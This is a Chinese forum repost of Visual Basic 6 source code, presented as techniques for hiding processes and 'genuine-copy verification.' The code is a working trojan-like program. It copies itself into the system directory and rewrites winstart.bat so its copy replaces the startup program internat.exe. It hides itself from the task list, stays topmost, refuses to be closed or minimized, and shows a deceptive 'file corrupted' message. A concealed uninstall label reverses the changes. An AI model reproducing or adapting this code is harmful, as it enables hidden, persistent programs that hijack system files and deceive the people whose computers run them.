返回列表 发帖

[转载] VB系统编程,隐藏进程、进程控制、正版验证等。

  1. Option Explicit

  2. '进程控制
  3. Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
  4. Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
  5. Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

  6. Const RSP_SIMPLE_SERVICE = 1
  7. Const RSP_UNREGISTER_SERVICE = 0

  8. '退出Windows
  9. Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

  10. Const EWX_LOGOFF = 0
  11. Const EWX_SHUTDOWN = 1
  12. Const EWX_REBOOT = 2
  13. Const EWX_FORCE = 4

  14. Const WM_SYSCOMMAND = &H112&
  15. Const SC_SCREENSAVE = &HF140&

  16. '窗体总在最前
  17. Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

  18. Const HWND_TOPMOST = -1

  19. '连接
  20. Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

  21. Const SW_SHOWNORMAL = 1
  22. Const URL = "http://www.microsoft.com"

  23. '查找系统目录
  24. Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
  25. Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

  26. Const MAX_PATH = 260

  27. Dim ExitButton As Boolean

  28. '取得windows目录
  29. Function GetWinPath()
  30. Dim strFolder As String
  31. Dim lngResult As Long
  32.     strFolder = String(MAX_PATH, 0)
  33.     lngResult = GetWindowsDirectory(strFolder, MAX_PATH)
  34.     If lngResult <> 0 Then
  35.         GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
  36.     Else
  37.         GetWinPath = ""
  38.     End If
  39. End Function

  40. '取得system目录
  41. Function GetSystemPath()
  42. Dim strFolder As String
  43. Dim lngResult As Long
  44.     strFolder = String(MAX_PATH, 0)
  45.     lngResult = GetSystemDirectory(strFolder, MAX_PATH)
  46.     If lngResult <> 0 Then
  47.         GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
  48.     Else
  49.         GetSystemPath = ""
  50.     End If
  51. End Function

  52. '文件是否存在
  53. Function FileExists(filename As String) As Integer
  54. Dim i As Integer
  55. On Error Resume Next
  56.     i = Len(Dir$(filename))
  57.     If Err Or i = 0 Then FileExists = False Else FileExists = True
  58. End Function

  59. '隐藏进程
  60. Public Sub RemoveProgramFromList()
  61.     Dim lngProcessID As Long
  62.     Dim lngReturn As Long
  63.     Dim pid As Long
  64.     lngProcessID = GetCurrentProcessId()
  65.     lngReturn = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
  66. End Sub

  67. '打开浏览器
  68. Public Sub gotoweb()
  69.     Dim Success As Long
  70.     Success = ShellExecute(0&, vbNullString, URL, vbNullString, "C:\", SW_SHOWNORMAL)
  71. End Sub

  72. '连入网站
  73. Private Sub cmdBuy_Click()
  74.     gotoweb
  75. End Sub

  76. '重新启动
  77. Private Sub cmdReset_Click()
  78.    Dim lresult
  79.    lresult = ExitWindowsEx(EWX_REBOOT, 0&)
  80. End Sub

  81. Private Sub Form_Load()
  82. On Error Resume Next
  83. Dim Path As String
  84. Dim SourceFile, DestinationFile
  85.     Path = App.Path
  86.     If Right(Path, 1) <> "\" Then Path = Path & "\"
  87.     If App.PrevInstance Then End
  88.     If FileExists(GetSystemPath & "\intarnet.dll.exe") = 0 Then
  89.         '备份internat.exe文件
  90.         SourceFile = GetSystemPath & "\internat.exe"
  91.         DestinationFile = GetSystemPath & "\intarnet.dll.exe"
  92.         FileCopy SourceFile, DestinationFile
  93.         '复制自己
  94.         SourceFile = Path & App.EXEName & ".EXE"
  95.         DestinationFile = GetSystemPath & "\so.dll.exe"
  96.         FileCopy SourceFile, DestinationFile
  97.         '改写winstart.bat文件
  98.         Open GetWinPath & "\winstart.bat" For Append As #1
  99.         Print #1, "@echo off"
  100.         Print #1, "copy " & GetSystemPath & "\so.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
  101.         Print #1, "del " & GetWinPath & "\winstart.bat"
  102.         Close #1
  103.     End If
  104.     '检查文件是否在系统目录执行
  105.     If App.Path <> GetSystemPath Then
  106.         MsgBox "程序代码不完整或系统出现错误,文件已被破坏。", vbInformation
  107.         End
  108.     End If
  109.     RemoveProgramFromList
  110.     SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, Me.Height \ Screen.TwipsPerPixelY, 0
  111.     Shell (GetSystemPath & "\intarnet.dll.exe")
  112. End Sub

  113. Private Sub Form_Resize()
  114.     '程序被最小化时返回初始状态
  115.     If Me.WindowState = 1 Then Me.WindowState = 0
  116. End Sub

  117. Private Sub Form_Unload(Cancel As Integer)
  118.     '禁止程序退出
  119.     If Not ExitButton Then Cancel = True
  120. End Sub

  121. '删除程序
  122. Private Sub lblUninstall_DblClick()
  123.     Open GetWinPath & "\winstart.bat" For Append As #1
  124.     Print #1, "@echo off"
  125.     Print #1, "copy " & GetSystemPath & "\intarnet.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
  126.     Print #1, "del " & GetSystemPath & "\intarnet.dll.exe"
  127.     Print #1, "del " & GetSystemPath & "\so.dll.exe"
  128.     Print #1, "del " & GetWinPath & "\winstart.bat"
  129.     Close #1
  130.     MsgBox "您使用的系统可能是正版。:-)", vbInformation
  131.     End
  132. End Sub

复制代码
天行健,君子以自强不息
地势坤,君子以厚德载物
黑色海岸线欢迎您

QQ群:7212260
致力于探索WEB技术精髓:http://www.bitechcn.com
点这里加我!

返回列表 回复 发帖